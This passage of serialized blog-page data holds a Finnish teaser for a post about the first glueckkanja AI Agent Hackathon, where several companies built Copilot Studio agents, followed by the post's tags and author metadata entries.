toimivaa AI-agenttia – siitä oli kyse ensimmäisessä glueckkanja AI Agent Hackathonissa. Kiekert, Dr. Oetker, Eckes-Granini, igefa ja lila logistik rakensivat Copilot Studiossa agentteja, jotka ovat tänään tuotannossa. Mitä siinä syntyi ja miten formaatti toimii.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[3213,3326,3327,3328],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":3330,"Fritz Zurhorst":3331,"Nadine Klein":3332,"Jan Geisbauer":3333,"Carolin Kanja":3337,"Anna Ulbricht":3338,"Annette Brauns":3339,"Pascal Asch":3340,"Steffen Schwerdtfeger":3341},{"display_name":2804,"avatar":2805,"permalink":2806,"twitter":2807,"linkedin":2808,"imageOffsetTop":2809,"imageOffsetLeft":2810},{"display_name":2778,"avatar":2779,"permalink":2780,"linkedin":2781,"imageOffsetTop":2782},{"display_name":2798,"avatar":2799,"permalink":2800,"twitter":2801,"linkedin":2802,"imageOffsetTop":2782},{"display_name":2713,"avatar":2939,"permalink":2940,"twitter":2941,"linkedin":2941,"imageOffsetTop":2782,"socials":3334},[3335,3336],{"text":2944,"href":2945},{"text":2947,"href":2948},{"display_name":2965,"avatar":2966,"permalink":2967,"twitter":2968,"linkedin":2969},{"display_name":3055,"avatar":3056,"permalink":3057,"linkedin":3058,"imageOffsetTop":3059,"imageOffsetLeft":3060},{"display_name":3062,"avatar":3063,"permalink":3064,"linkedin":3065,"imageOffsetTop":3066,"imageOffsetLeft":2809},{"display_name":523,"avatar":3044,"permalink":3045,"linkedin":3046,"imageOffsetTop":2882},{"display_name":2835,"avatar":2836,"permalink":2837,"linkedin":2838,"twitter":2839,"imageOffsetTop":2840,"imageOffsetLeft":2841},{"id":2773,"extension":2774,"meta":3343,"stem":8,"__hash__":3124},{"Pascal Asch":3344},{"display_name":523,"avatar":3044,"permalink":3045,"linkedin":3046,"imageOffsetTop":2882},1791383928475]